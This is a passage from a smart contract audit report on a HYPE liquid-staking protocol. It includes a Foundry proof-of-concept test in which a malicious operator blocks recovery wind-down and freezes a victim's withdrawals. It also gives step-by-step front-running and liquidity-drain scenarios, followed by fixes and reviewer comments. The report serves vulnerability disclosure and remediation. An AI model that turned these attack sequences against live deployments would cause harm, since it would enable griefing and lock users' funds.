        //    the market into WOUND_DOWN; unwind() is now NotReady
because the
        //    operator reset the timestamp.
        vm.warp(firstEligibleAt + 1);
        vm.prank(protocolRecoveryEOA);
        vm.expectRevert(Errors.UnwindNotReady.selector);
        protocolRolesController.execute(marketId, exMgrComponent,
abi.encodeCall(IEXManager.unwind, ()));

        // Concrete impact: the market remains LAUNCHING and the
victim's EXLST is
        // still non-redeemable. Repeating step 3 lets the operator
keep extending
        // this state while recovery cannot override the operator-
owned queue.
        assertEq(uint256(exMgr.exPhase()),
uint256(IEXManager.EXPhase.LAUNCHING), "market not wound down");
        _assertVictimCannotExitWhileLaunching(exMgr);
    }

    function _deployBondAndFundToLaunchingWithVictimDeposit()
internal returns (bytes32 marketId, EXManager exMgr) {
        IEXFactory.MarketParams memory params =
_defaultMarketParams();
        address exManagerAddr;
        (marketId, exManagerAddr) = _deployMarketAsDeployer(factory,
params);
        exMgr = EXManager(payable(exManagerAddr));
```

```
        _activateMarketViaUSDH(IEXManager(address(exMgr)),
marketOperator);
        _bondMarketAsDeployer(factory, marketId);
        assertEq(uint256(exMgr.exPhase()),
uint256(IEXManager.EXPhase.FUNDING), "bonded into FUNDING");

        // Victim deposits before the operator takes the market to
LAUNCHING.
        uint256 victimDeposit = 10 ether;
        vm.deal(user, victimDeposit);
        vm.prank(user);
        exMgr.deposit{value: victimDeposit}(user, EMPTY_DATA);

        // Fill to the tier's minimum reserve and move to LAUNCHING.
The filler is
        // non-attacker liquidity; the attacker capability used
later is only the
        // per-market OPERATOR_ROLE.
        uint256 minStake = globalConfig.marketTiers(1).minHypeStake;
        uint256 alreadyStaked = params.opBond + victimDeposit;
        uint256 fillerDeposit = minStake > alreadyStaked ? minStake
- alreadyStaked : 0;
        if (fillerDeposit > 0) {
            vm.deal(recipient, fillerDeposit);
            vm.prank(recipient);
            exMgr.deposit{value: fillerDeposit}(recipient,
EMPTY_DATA);
        }

        vm.prank(marketOperator);
        exMgr.fund();
    }

    function _assertVictimCannotExitWhileLaunching(EXManager exMgr)
internal {
        uint256 victimShares = exMgr.exLST().balanceOf(user);
        vm.prank(user);

vm.expectRevert(abi.encodeWithSelector(Errors.InvalidPhase.selector,
uint256(IEXManager.EXPhase.LAUNCHING)));
        exMgr.withdraw(victimShares, user, EMPTY_DATA);
    }
}
```

Command:

```
MAINNET_RPC_URL=$HYPERLIQUID_RPC_URL forge test --match-path
test/PoC_UnwindQueueBlock.t.sol --match-contract PoC_UnwindQueueBlock --
match-test test_poc_operatorUnwindQueueBlocksRecoveryWindDown -vv
```

Impact:

The PoC passes and demonstrates that a malicious market operator can keep a LAUNCHING market from reaching WOUND_DOWN by queueing, cancelling, and requeueing voluntary unwind. Protocol recovery cannot override or cancel the operator-owned unwind queue, and at the original deadline recovery cannot finalize unwind. The victim retains EXLST but withdrawals still revert in LAUNCHING, demonstrating per-market redemption/liveness DoS.

COMMENTS

Project Team

Valid. Fixed in `db4f440` (part of PR #90). `forceUnwindPhase(true)` revert gate widened from `unwindEligibleAt > 0` to `unwindEligibleAt > 0 && protocolInitiatedUnwind`, so recovery can override an operator-initiated pending unwind. Operator's existing deadline is preserved on override; finalize now clears `unwindEligibleAt` and `protocolInitiatedUnwind`.

Zero Cool

Fix Review Status: Resolved

Resolved in commit `6b6896e`

- The original liveness gap is fixed. In `src/EXManager.sol`, `forceUnwindPhase(true)` now reverts only when an existing unwind is already protocol-initiated (`unwindEligibleAt > 0 && protocolInitiatedUnwind`), so recovery can take over an operator-queued unwind. On takeover it sets `protocolInitiatedUnwind = true` while preserving the existing `unwindEligibleAt`, and `setUnwindPhase(false)` still blocks operator cancellation of protocol-initiated unwinds. That removes the prior cancel/requeue loop that let the operator indefinitely block recovery wind-down.

L-01 Stake fees throttle lacks a payable receive path for documented EVM funding

Status Resolved

Severity Severity: Low ≈ Impact: Low × Likelihood: Low

Summary

The `StakeFeesThrottle` contract lacks a `receive()` function or payable fallback, preventing it from accepting ordinary native HYPE transfers despite the documentation describing direct EVM-side HYPE deposits from the buyback bot. This mismatch disrupts the documented fee-distribution path and may delay the periodic reinvestment of post-buyback HYPE into `EXManager` staking for EXLST holders.

Description

`StakeFeesThrottle` is deployed behind an OpenZeppelin `BeaconProxy` and designed to accumulate native HYPE before throttling it into `EXManager.stakeFees()`. The contract's `execute()` function in `src/fee-distribution/StakeFeesThrottle.sol:83-101` relies on `address(this).balance` to determine the stake amount, and the protocol documentation describes a funding model where native HYPE arrives at the throttle either from direct EVM-side deposits or from Core spot HYPE bridged back to EVM via `HIP3L1Write.sendSpot()` in `src/lib/HIP3L1Write.sol:53-57`.

When a caller attempts to send native HYPE to the throttle proxy using a standard value transfer, the proxy's fallback delegates the call with empty calldata to the implementation. Because the implementation defines neither `receive() external payable` nor a payable fallback, the transaction reverts. The `execute()` function itself is non-payable and only consumes an existing balance, so it cannot serve as an entrypoint for funding. Test code in the codebase bypasses this restriction by using `vm.deal` to artificially credit balances rather than simulating realistic call-with-value transfers, masking the incompatibility during development.

The behavior of Core-to-EVM native HYPE bridge credits remains an external platform dependency not established by the audited code. If the bridge delivers credits through a standard EVM value transfer, that path would also fail. If it mutates balances at the system level without invoking recipient code, bridged spot HYPE may still arrive, but the direct EVM deposit route remains broken.

Impact Explanation

Direct native HYPE transfers to the `StakeFeesThrottle` proxy revert atomically, preventing the documented buyback-bot handoff into the throttle and potentially delaying throttled fee reinvestment for EXLST holders. The failed transfer preserves the sender's HYPE, so no funds are lost. Operators can bypass the throttle by

staking directly into `EXManager.stakeFees()`, which is payable, or by using alternative operational workarounds. There is no path for an untrusted attacker to exploit this behavior for theft or protocol-wide denial of service.

Likelihood Explanation

The direct-transfer failure is deterministic if operators follow the documented EVM deposit route, but no external attacker can force the issue. The decisive actors are the off-chain buyback bot and the protocol operator, both of which can adapt their handoff mechanism or use the direct `EXManager` bypass. Existing alternatives reduce the practical likelihood of material disruption.

Affected Code

src/fee-distribution/StakeFeesThrottle.sol:11-149

- `StakeFeesThrottle` contract (missing `receive()` or payable fallback)

src/fee-distribution/StakeFeesThrottle.sol:56-74

- `isReady()` and `previewStakeAmount()` (both depend on `address(this).balance`)

src/fee-distribution/StakeFeesThrottle.sol:83-101

- `execute()` (non-payable, stakes from native balance and bridges spot HYPE)

src/lib/HIP3L1Write.sol:53-57

- `sendSpot()` (emits Core spot bridge action)

Recommendation

Add an explicit payable receive function to `StakeFeesThrottle` to align the implementation with the documented funding model:

```
receive() external payable {}
```

For operational observability, consider emitting an event when HYPE is received:

```
event HypeReceived(address indexed sender, uint256 amount);

receive() external payable {
    emit HypeReceived(msg.sender, msg.value);
}
```

Supplement the fix with an integration test that funds the deployed proxy using `call{value: amount}("")` rather than `vm.deal`, ensuring the proxy fallback and implementation receive path are exercised correctly. This change enables the throttle to safely accept native HYPE from bots, bridge credits, or other protocol fee paths, while `execute()` continues to throttle staking from `address(this).balance`.

COMMENTS

Project Team

Valid. Fixed in `a3ca4c3` (part of PR #90). Added `receive() external payable {}` on `StakeFeesThrottle.sol` to support the documented EVM funding path. Mirrors `StakingManagerRouter`'s pattern. Does not affect the M-01 attack surface — `selfdestruct` path remains, this only adds an equally-ergonomic legit funding path.

Zero Cool

Fix Review Status: Resolved

Resolved in commit `6b6896e`

- The original root cause was the lack of a payable native-HYPE entrypoint on `StakeFeesThrottle`. The current implementation now includes `receive() external payable {}` at `src/fee-distribution/StakeFeesThrottle.sol:74-75`, so ordinary empty-calldata value transfers to the proxy-backed throttle can succeed and fund `address(this).balance` for later `execute()`. The test suite also now exercises this path with a real `call{value: ...}("")` transfer in `test/fee-distribution/StakeFeesThrottle.t.sol:testReceiveAcceptsOrdinaryNativeTransfer`.

L-02 Unsolicited deposits can consume recipient-scoped mint allowances

Status: Acknowledged

Severity: Severity: Low ≈ Impact: Low × Likelihood: Medium

Summary

`EXManager.deposit()` accepts an arbitrary recipient parameter without requiring recipient consent, allowing any caller to deposit HYPE and mint exLST shares to another address. `TieredMintGate.onDeposit()` enforces tier-based mint caps against the recipient rather than the actual sender, enabling an attacker to consume part of a victim's locked-token-derived allowance without authorization. This creates an allocation-griefing vector in competitive or deadline-bound markets where the victim may lose time-sensitive mint opportunities.

Description

The `EXManager.deposit(address recipient, bytes data)` function in `src/EXManager.sol:483-512` allows `msg.sender` to stake HYPE and designate any `recipient` to receive the resulting exLST shares. During FUNDING, LAUNCHING, or LIVE phases, the manager stakes the deposited HYPE to `exStakingManager`, calculates the proportional exLST shares, mints those shares to `recipient`, and invokes the configured gate's `onDeposit()` hook.

`TieredMintGate.onDeposit()` in `src/gate/TieredMintGate.sol:173-200` determines the recipient's tier allowance by reading `locks[recipient].amount`, compares the recipient's cumulative `mintedShares[recipient]` plus the new `sharesOut` against that allowance, and reverts with `MintCapExceeded` if the sum exceeds the cap. The gate increments `mintedShares[recipient]` on success but does not validate the original `sender` or require any recipient authorization, so an arbitrary third party can force-consume part of the recipient's allocation by depositing their own HYPE.

An attacker observing a victim's pending deposit can front-run by calling `deposit(victim, "")` with a small value. If the victim's transaction was sized to use their remaining allowance, the attacker's deposit increments `mintedShares[victim]` just enough to cause the victim's subsequent deposit to exceed the cap and revert. The victim receives the attacker-funded exLST shares from the unsolicited deposit but loses the opportunity to use their intended allocation if the deposit window closes, the market supply cap fills, or timing is otherwise sensitive.

The `IEXGate.onDeposit()` interface in `src/interfaces/IEXGate.sol:59-79` documents that `sender` may differ from `recipient` in delegated deposit scenarios and that gates enforce caps per-recipient. The implementation gap is that the gate does not distinguish between recipient-authorized routers and arbitrary unconsented callers, so any address can consume another account's scarce mint allowance.

Impact Explanation

The attacker cannot steal funds: they must deposit their own HYPE and the resulting exLST is minted to the targeted recipient. The harm is localized allocation griefing. A small unsolicited deposit can consume part of a locked user's `TieredMintGate` allowance, causing that user's already-submitted exact-allowance deposit to revert and potentially making them miss a time-sensitive or supply-cap-constrained opportunity. The victim receives the attacker's exLST gift, so the impact is lower than fund loss and materializes primarily in competitive or deadline-bound markets where allocation is scarce.

Likelihood Explanation

The exploit entry point is permissionless. Any address can call `EXManager.deposit()` with an arbitrary recipient during deposit-enabled phases, subject only to standard constraints such as nonzero 1e10-aligned value, phase, supply cap, and gate checks. `TieredMintGate` bases allowance on public `locks[recipient].amount` and updates `mintedShares[recipient]` without checking sender or data, so an attacker can target any locked recipient whenever a market has configured this gate for the active phase. The harmful variant requires practical scarcity or timing: the victim must have remaining allowance and intend a deposit close enough to that remaining allowance that the attacker can cheaply front-run it.

Affected Code

src/EXManager.sol:483-512

- `deposit(address recipient, bytes memory data)`

src/gate/TieredMintGate.sol:173-200

- `onDeposit()`
- `locks` mapping
- `mintedShares` mapping

src/interfaces/IEXGate.sol:59-79

- `onDeposit()` interface specification

Recommendation

Require recipient authorization before consuming recipient-scoped allowance. Keep direct self-deposits valid when `sender == recipient`. For delegated deposits, require an EIP-712 authorization from the recipient that binds the sender or router,

`EXManager` /gate, maximum shares or amount, nonce, and deadline; consume the nonce on success. This preserves router-assisted UX while preventing arbitrary unconsented consumption of mint allowances.

```
// Add to TieredMintGate state
mapping(address => uint256) public nonces;

function onDeposit(
    IEXManager.EXPhase exPhase,
    address sender,
    address recipient,
    address tokenIn,
    uint256 amountIn,
    uint256 sharesOut,
    bytes memory data
) external onlyAuthorizedCaller {
    if (!_gatedPhases.contains(uint256(exPhase))) return;

    // Allow self-deposits without signature
    if (sender != recipient) {
        // Decode and verify EIP-712 signature from recipient
        // authorizing this sender, sharesOut cap, nonce, deadline
        // Increment and consume nonces[recipient]
        // Revert if signature invalid or expired
    }

    uint256 lockedAmount = locks[recipient].amount;
    uint256 allowance = _getAllowanceForAmount(lockedAmount);
    uint256 newTotal = mintedShares[recipient] + sharesOut;
    if (newTotal > allowance) revert MintCapExceeded();

    mintedShares[recipient] = newTotal;
    emit TieredMint(recipient, sharesOut, newTotal, allowance);
}
```

Alternatively, maintain an explicit trusted-router allowlist in the gate and require `sender == recipient` for all non-router callers, though signatures are safer and more flexible. Apply the same sender/authorization binding to other recipient-capped gates such as `WhitelistGate` to prevent analogous front-running when a recipient's signature payload is observable.

COMMENTS

Project Team

Valid. Acknowledged in `a8a4a51` (PR #90). Griefing only — attacker bears the deposit cost; victim's allowance is consumed but no value is extracted. Gate manager can reset via `setMintCap` as an operational lever.

L-03 Queued force-unwind does not freeze operator launch actions

Status: Resolved

Severity: Severity: Low ≈ Impact: Medium × Likelihood: Low

Summary

Protocol recovery can queue a forced market wind-down via `forceUnwindPhase(true)`, setting an uncancellable unwind flag and delay timer. However, the implementation does not freeze operator-controlled lifecycle transitions during that delay. A hostile operator can still advance a market from FUNDING to LAUNCHING and from LAUNCHING to LIVE, registering the API wallet while the recovery unwind remains pending.

Description

The `forceUnwindPhase(true)` function in `src/EXManager.sol:339–352` sets `protocolInitiatedUnwind = true` and `unwindEligibleAt = block.timestamp + globalConfig.unwindDelay()`, establishing an uncancellable recovery wind-down that the operator cannot reverse. The operator is blocked from calling `setUnwindPhase(false)` due to the check at line 333, which reverts when `protocolInitiatedUnwind` is true.

Despite this, `fund()` at lines 285-296 and `launch()` at lines 299-312 check only `OPERATOR_ROLE`, the current phase, and pause state. Neither function verifies whether `unwindEligibleAt` is non-zero or `protocolInitiatedUnwind` is true. An operator who retains the `OPERATOR_ROLE` after recovery queues the unwind can still call `fund()` to transition from FUNDING to LAUNCHING if the minimum Hype stake floor is satisfied. Similarly, `launch()` transitions from LAUNCHING to LIVE and invokes `_updateWallet()` at line 712, which registers the operator's signed API wallet through the Router, even when a protocol-initiated unwind is pending.

The `addOperatorAuctionGas()` function at lines 315-320 and the operator relay path in `updateWallet()` at line 458 remain callable during LIVE phase without checking unwind state. The queued unwind can only finalize via `unwind()` at lines

358-377 after the delay expires, but the operator retains the ability to advance lifecycle and activate HyperCore-facing actions throughout that window.

Impact Explanation

Depositors who expect recovery to contain a compromised market face degraded exit and risk exposure. After recovery queues `forceUnwindPhase(true)`, a hostile operator can still advance FUNDING to LAUNCHING, disabling standard withdrawals during the unwind delay. If the operator also possesses an unconsumed wallet-admin signature for the current nonce, it can advance LAUNCHING to LIVE and register the signed API wallet while the protocol-initiated unwind is pending, exposing depositors to live HIP-3 and operator-wallet risk that recovery was attempting to prevent. The final unwind remains available after the delay, but the intermediate period allows actions that contradict the recovery intent.

Likelihood Explanation

Exploitation requires the market operator to be malicious or compromised while holding `OPERATOR_ROLE`. The FUNDING to LAUNCHING path additionally requires the market to satisfy `minHypeStake`, and the LAUNCHING to LIVE path requires a valid, unconsumed `globalConfig.exWalletAdmin` signature for the current wallet nonce. Separate operational controls can block the scenario if applied promptly: pausing EXManager stops `fund()` and `launch()`, while rotating `exWalletAdmin` invalidates old signatures.

Affected Code

src/EXManager.sol:285-296

- `fund()`

src/EXManager.sol:299-312

- `launch()`

src/EXManager.sol:315-320

- `addOperatorAuctionGas()`

src/EXManager.sol:323-352

- `setUnwindPhase()`
- `forceUnwindPhase()`
- `protocolInitiatedUnwind` (state variable)
- `unwindEligibleAt` (state variable)

src/EXManager.sol:448-475

- `updateWallet()`

src/EXManager.sol:712-747

- `_updateWallet()`

Recommendation

Introduce an unwind-pending guard to prevent operator-controlled lifecycle progression while `unwindEligibleAt` is non-zero. A straightforward approach is to add a modifier or inline check that reverts when an unwind is queued:

```
modifier notUnwinding() {
    if (unwindEligibleAt != 0) revert Errors.UnwindAlreadyQueued();
    _;
}
```

Apply this guard to `fund()`, `launch()`, `addOperatorAuctionGas()`, tier-upgrade functions, and the operator relay branch in `updateWallet()`. For example:

```
  function fund()
      external
      onlyRole(OPERATOR_ROLE)
      onlyPhase(EXPhase.FUNDING)
+     notUnwinding
      whenNotPaused
      returns (uint256 hypeAmount)
  {
```

For `updateWallet()`, consider restricting the operator relay path when `protocolInitiatedUnwind == true`, allowing only the wallet-admin or recovery-controlled path to rotate wallets during a protocol-initiated unwind. This ensures that recovery can contain a compromised operator throughout the unwind delay and prevents lifecycle transitions that contradict the pending wind-down. If wallet cleanup is required during the delay, it can proceed through a trusted authority rather than the market operator.

COMMENTS

Project Team

Valid. Fixed in `db4f440` (bundled with M-09, part of PR #90). New internal helper `_checkNotUnwinding()` reverts `UnwindAlreadyQueued` when `unwindEligibleAt != 0`; called at the top of `fund`, `launch`, `addOperatorAuctionGas`, `queueTierUpgrade`, `raiseSupplyCapForUpgrade`,

`confirmTierUpgrade`, and the operator-relay branch of `updateWallet`. `unwind()` finalize clears the unwind state so downstream gates remain consistent.

Zero Cool

Fix Review Status: Resolved

Resolved in commit `6b6896e`

- EXManager now adds `_checkNotUnwinding()` (`unwindEligibleAt != 0 -> UnwindAlreadyQueued`) and applies it to the operator-controlled paths implicated by the finding: `fund()` (302-310), `launch()` (314-327), `addOperatorAuctionGas()` (331-340), and the LIVE tier-upgrade actions (422-495). `updateWallet()` also now freezes only the operator-relay branch during a pending unwind while still allowing `globalConfig.exWalletAdmin()` to rotate the wallet in emergencies (519-533). This removes the prior window where a queued/protocol unwind still allowed operator lifecycle progression or wallet actions before final unwind.

L-04 Share-based supply caps can prevent fair post-slashing recapitalization

Status: Acknowledged

Severity: Severity: Low ≈ Impact: Medium × Likelihood: Low

Summary

When a market operates at or near its EXLST share supply cap and a valid slashing event reduces the staking accountant exchange rate, the same share cap represents less HYPE value than it did when the tier floor was configured. New deposits mint more shares per HYPE at the lower exchange rate, so `EXLST.mint()` may revert before enough HYPE can be deposited to restore the HYPE-denominated tier floor, blocking fair recapitalization and leaving users unable to withdraw.

Description

The protocol enforces tier floors in HYPE value while capping deposits using raw EXLST share units. `GlobalConfig._validateTier()` requires `supplyCap >= minHypeStake` as raw integer amounts at tier creation, implicitly assuming an initial 1:1 share-to-HYPE ratio. During normal operation, `EXManager.deposit()` stakes incoming HYPE and computes pro-rata EXLST shares based on current ghost-LST

reserves and total EXLST supply. The `EXLST.mint()` function enforces `totalSupply() + amount <= supplyCap` in share units, reverting the entire deposit if the cap is breached.

When a valid HIP-3 slashing event lowers the per-market staking accountant exchange rate, each HYPE unit of deposit requires more EXLST shares than before slashing. If the market is already at or near its share cap, even small fair deposits can exceed `supplyCap`, causing `mint()` to revert and rolling back the stake. Meanwhile, `EXManager._checkMinHypeStakeSatisfied()` and `BlockedWithdrawalQueue._withdrawableShares()` evaluate the live floor in HYPE-equivalent value. A market can remain below the HYPE floor while the share cap prevents deposits that would restore it.

While the market is below `minHypeStake`, LIVE withdrawals are unavailable, and blocked withdrawal processing finds no excess HYPE above the floor to distribute. The permissionless `stakeFees()` function can add HYPE without minting shares, but this is a donation to existing holders with no fair return for the depositor. Recovery otherwise depends on operator or governance action to raise the cap through a new tier, future staking rewards, or the documented unwind process.

Impact Explanation

Affected users holding EXLST in a slashed, full-cap market remain unable to exit through normal LIVE withdrawals or blocked withdrawal processing until the HYPE-equivalent reserves are restored above the tier floor. Fair external recapitalization through `deposit()` is blocked by the share cap, leaving only economically unfavorable donation via `stakeFees()`, future reward accrual, or operator/governance intervention. This liveness limitation prolongs the withdrawal freeze during stressed market conditions, though it does not constitute direct theft or permanent loss of funds.

Likelihood Explanation

The harmful state requires a market to be full or nearly full in share terms, a valid slash large enough to drop HYPE-equivalent reserves below the tier floor, and no timely cap expansion, donation, rewards recovery, or unwind. An unprivileged user cannot directly cause the decisive slash; a malicious operator could contribute to the precondition, but that is a permissioned-market failure mode already expected to be rare and operationally visible.

Affected Code

src/EXLST.sol:100-124

- `mint()`
- `setSupplyCap()`
- `supplyCap`

src/EXManager.sol:472-513, src/EXManager.sol:772-785

- `deposit()`
- `_checkMinHypeStakeSatisfied()`

src/GlobalConfig.sol:300-363

- `addTier()` / `marketTiers()`
- `_validateTier()`
- `MarketTier.supplyCap`
- `MarketTier.minHypeStake`

src/BlockedWithdrawalQueue.sol:313-329

- `_withdrawableShares()`

Recommendation

To support fair permissionless recapitalization after slashing, consider adding explicit recovery headroom that permits bounded mints above the nominal share cap only while HYPE-equivalent reserves are below the current tier floor and only up to the amount needed to restore that floor. For example, introduce a conditional override in `EXLST.mint()` or `EXManager.deposit()` that allows additional shares when the market is under-floored:

```
// In EXManager.deposit() after calculating shares but before
minting:
uint256 totalHype = _LSTToHYPE(exStakingAccountant,
_reserves(_exGhostLST));
uint256 floorHype =
globalConfig.marketTiers(marketTier).minHypeStake;
if (totalHype < floorHype) {
    uint256 deficitHype = floorHype - totalHype;
    uint256 maxRecoveryShares = _calcShares(
        _HYPEToLST(exStakingAccountant, deficitHype),
        ghostReserves,
        totalSupply
    );
    if (shares <= maxRecoveryShares) {
        // allow recovery mint even if it would breach nominal cap
        exLST.mintRecovery(recipient, shares);
    } else {
        exLST.mint(recipient, shares); // normal cap-check path
```

```
    }
} else {
    exLST.mint(recipient, shares);
}
```

Alternatively, require tier configurations to include an enforced slash buffer by making `supplyCap` represent a HYPE-denominated maximum rather than raw share units, converting it through the accountant at mint time so that cap logic and floor logic operate in the same unit. This approach ensures that capacity and safety constraints remain aligned even after exchange-rate changes.

COMMENTS

Project Team

Valid. Acknowledged in `a8a4a51` (PR #90). Architectural — share-denominated `supplyCap` is intentional for predictability and tier-registry coherence (HYPE-denominated would couple cap mechanics to slashing volatility). Admin recourse: tier upgrade with higher `supplyCap` via the 3-step queue/raiseSupplyCapForUpgrade/confirm flow, or CONFIG_ADMIN `queueLowerTierFloor`.

L-05 Phantom slashing excess can spend pending withdrawal liquidity

Status Acknowledged

Severity Severity: Low ≈ Impact: Medium × Likelihood: Low

Summary

The Router's slashing-aware confirmation flow adds the difference between queued and adjusted HYPE amounts to `_cancelledWithdrawalAmount`, even when that delta was never actually received from L1. Later, a privileged redelegation call may bridge native HYPE from the Router's pooled balance to satisfy this theoretical excess, consuming liquidity that backs other users' matured but unconfirmed withdrawals.

Description

`SlashingAwareWithdrawalFacet._processConfirmation()` computes `excess = originalHypeAmount − adjustedHypeAmount` and increments `_cancelledWithdrawalAmount` by that value without verifying whether the Router ever held the original HYPE amount as retained surplus. When HyperCore has already applied a HIP-3 slash by reducing the `cWithdraw` return amount on L1, the Router receives only the reduced quantity. The Router's pooled-asset design does not reserve native HYPE per withdrawal; any HYPE returned for withdrawals or buffer operations is fungible across all pending requests.

`AdminFacet.redelegateWithdrawnHYPE(true)` snapshots the entire `_cancelledWithdrawalAmount`, zeros the counter, and enforces only `address(this).balance >= amountToRedelegate` before bridging that amount and queueing redelegation. This check does not account for `totalQueuedWithdrawals` or reserve liquidity for other users' matured withdrawals. If the Router's native balance is elevated because other withdrawals have settled, the redelegation call can consume HYPE backing those pending claims to satisfy a purely theoretical haircut.

A concrete sequence:

1. User A queues a withdrawal for 100 HYPE. Router records `WithdrawalRequest.hypeAmount = 100`.
2. A HIP-3 slash reduces A's L1 `cWithdraw` return to 50 HYPE.
3. User B's older withdrawal has already matured; the Router holds 100 HYPE backing B's unconfirmed request.
4. A's reduced withdrawal settles, sending 50 HYPE to the Router. Total native balance is now 150 HYPE.
5. A's withdrawal is confirmed through Launch. The confirmation pays 50 HYPE and increments `_cancelledWithdrawalAmount` by 50, even though the Router never received that 50 as surplus.
6. A PROTOCOL_OPERATOR or MANAGER calls `redelegateWithdrawnHYPE(true)`. The function sees `_cancelledWithdrawalAmount = 50` and `address(this).balance = 150`, so it bridges 50 HYPE to L1 and queues redelegation, zeroing `_cancelledWithdrawalAmount`.
7. The bridged 50 HYPE actually came from B's pending withdrawal backing. When B attempts to confirm, the Router may now hold insufficient native HYPE, causing the confirmation to revert or require external liquidity injection.

Impact Explanation

Native HYPE that should back matured but unconfirmed withdrawals can be redelegated to L1 as if it were genuine slashing surplus. Affected users' withdrawals may become temporarily or indefinitely unclaimable until governance or operators inject new HYPE or perform recovery operations. `_cancelledWithdrawalAmount` no longer reliably tracks redelegatable surplus; it can represent a theoretical haircut while still driving real redelegation that drains the Router's pooled withdrawal liquidity. This liveness and solvency disruption requires later operator intervention rather than direct theft, as the HYPE is redelegated into protocol staking rather than paid to an attacker.

Likelihood Explanation

Exploitation depends on a HIP-3 slash event, the externally uncertain HyperCore behavior where a pending `cWithdraw` returns only the already-reduced amount, the presence of other claimable Router HYPE in the pooled native balance, and a MANAGER or PROTOCOL_OPERATOR invoking the allowlisted `redelegateWithdrawnHYPE(true)` despite documented procedures that redelegation should occur only after real surplus is verified. No unprivileged user can execute the decisive drain.

Affected Code

lib/lst/src/StakingManagerStorage.sol:70-82

- `_cancelledWithdrawalAmount`
- `totalQueuedWithdrawals`

src/facets/SlashingAwareWithdrawalFacet.sol:35-69

- `_processConfirmation()`

lib/lst/src/facets/AdminFacet.sol:205-235

- `redelegateWithdrawnHYPE()`

src/base/LSTPayments.sol:72-102

- `_confirmWithdrawal()`

src/EXManager.sol:573-605

- `confirmWithdrawal()`

src/BlockedWithdrawalQueue.sol:331-382

- `_confirmBatchWithdrawal()`

Recommendation

Add an on-chain guard to prevent EVM-funded redelegation from consuming pooled withdrawal liquidity. The simplest conservative fix is to require that no queued withdrawals remain when spending pooled native HYPE for redelegation. In `AdminFacet.redelegateWithdrawnHYPE(true)`, add:

```
if (totalQueuedWithdrawals != 0) revert PendingWithdrawalsExist();
```

This ensures any native HYPE bridged by `redelegateWithdrawnHYPE(true)` cannot belong to users with outstanding withdrawal requests, eliminating the main solvency risk even when `_cancelledWithdrawalAmount` is theoretical.

A more precise but complex alternative is to track a separate counter (e.g., `_realRedelegatableHype`) incremented only in flows where the Router is guaranteed to have received and retained HYPE, such as explicit withdrawal cancellations or instant-unstake pool clearing. `redelegateWithdrawnHYPE(true)` would then consume only `_realRedelegatableHype`, leaving `_cancelledWithdrawalAmount` as an informational haircut variable. Both approaches prevent unintentional sweeps of pending-withdrawal liquidity while allowing operators to redelegate genuine surplus HYPE once all user withdrawals are settled.

COMMENTS

Project Team

Valid. Acknowledged in `a8a4a51` (PR #90). Operator-trust class — `redelegateWithdrawnHYPE` is operator-gated AND pinned `fromEVM=true` in the controller allowlist. Pinned calldata plus operator trust is the load-bearing defense; the `fromEVM=false` path would silently orphan HYPE on Router's EVM balance and is intentionally unreachable through the controller.

L-06 Low remaining supply can strand throttled fees after wind-down

Status Resolved

Severity Severity: Low ≈ Impact: Low × Likelihood: Medium

Summary

After a market enters `WOUND_DOWN`, residual buyback HYPE in `StakeFeesThrottle` can become permanently stranded when remaining EXLST supply falls below the threshold needed for the percentage-based impact cap to meet the staking manager's minimum stake requirement. Because the throttle computes its maximum drip as a percentage of current EXLST reserves and deposits are disabled in `WOUND_DOWN`, the impact cap can remain indefinitely below `minStakeAmount`, leaving native HYPE with no normal drain path.

Description

`StakeFeesThrottle.execute()` stakes accumulated native HYPE through `EXManager.stakeFees()` to distribute residual fees pro-rata to remaining EXLST holders. The throttle's `_computeStakeAmount()` bounds the drip by `_impactCapFromExLSTRate()`, which returns `totalReservesHype * stakeFeesMaxImpactBps / 10000`. This impact cap is anchored to the current EXLST total supply converted to HYPE via `exManager.EXLSTToHYPE(totalSupply)`, reflecting ghost LST reserves held by `EXManager`.

After a market is wound down, `EXManager.withdraw()` remains callable while `deposit()` is gated to `FUNDING`, `LAUNCHING`, and `LIVE` phases. As holders withdraw, the reserve surface used by `_impactCapFromExLSTRate()` can shrink arbitrarily. When `totalReservesHype * stakeFeesMaxImpactBps / 10000` falls below the per-market `StakingManager.minStakeAmount`, `_computeStakeAmount()` returns either a sub-minimum non-zero amount or zero. If non-zero but below `minStakeAmount`, the downstream `StakingManager.stake()` reverts with `BelowMinimum()`, preventing both the stake and the same-cycle spot-HYPE bridge. If the computed amount rounds to zero, `execute()` skips staking and leaves the native balance unchanged; later calls cannot overcome an impact cap that is perpetually below the minimum.

With mainnet-style parameters such as a 5 HYPE `minStakeAmount` and 10 bps impact cap, the vulnerable threshold is 5,000 HYPE of remaining reserves. Even the 20% global maximum impact cap cannot recover once reserves fall below 25 HYPE. Because deposits are disabled in `WOUND_DOWN`, the reserve base cannot organically increase, and the throttle provides no sweep or bypass path for trapped native HYPE.

Impact Explanation

Residual post-buyback HYPE intended for remaining EXLST holders can become unmovable through the normal fee-drip path once a wound-down market's reserve

base falls too low. The affected value is localized to the throttle's native balance and does not compromise active-market solvency, user withdrawals of existing reserves, or principal. The stranded amount can be larger than dust but represents residual fee value in a terminal market. Funds remain recoverable only through governance upgrade or bespoke privileged recovery, not through ordinary protocol operations.

Likelihood Explanation

The vulnerable state can arise through ordinary, permissionless holder withdrawals after `WOUND_DOWN`. The preconditions are constrained: the market must be wound down, residual native HYPE must be in the throttle, and a small nonzero holder set must remain for there to be a victim. However, reaching the threshold requires only that remaining reserves fall below `minStakeAmount * 10000 / stakeFeesMaxImpactBps`, which is achievable with typical configurations and normal withdrawal behavior in terminal markets.

Affected Code

src/fee-distribution/StakeFeesThrottle.sol:84-101, src/fee-distribution/StakeFeesThrottle.sol:107-130

- `execute()`
- `_computeStakeAmount()`
- `_impactCapFromExLSTRate()`

src/EXManager.sol:473-479, src/EXManager.sol:483-492

- `stakeFees()`
- `deposit()` phase gate

lib/lst/src/StakingManager.sol:282-288

- `stake()`

src/GlobalConfig.sol:262-293

- `stakeFeesMaxImpactBps`
- `stakeFeesMinIntervalSeconds`
- `stakeFeesClearancePeriodSeconds`

Recommendation

Consider adding a terminal-phase recovery path for `StakeFeesThrottle` that operates when the market is in `WOUND_DOWN`. For example, allow the controller or operator to stake the full aligned native balance when it meets the router's `minStakeAmount`, bypassing the percentage impact cap. For sub-minimum dust,

provide a tightly permissioned sweep or direct distribution mechanism rather than leaving the balance trapped.

Additionally, modify `execute()` to avoid attempting sub-minimum `stakeFees()` calls. If `_computeStakeAmount()` returns a non-zero amount below `minStakeAmount`, treat it as zero for the staking leg so that an unexecutable drip does not block spot-HYPE bridging in the same cycle. This ensures that at least one leg of `execute()` can make progress when the other is constrained by terminal-market conditions.

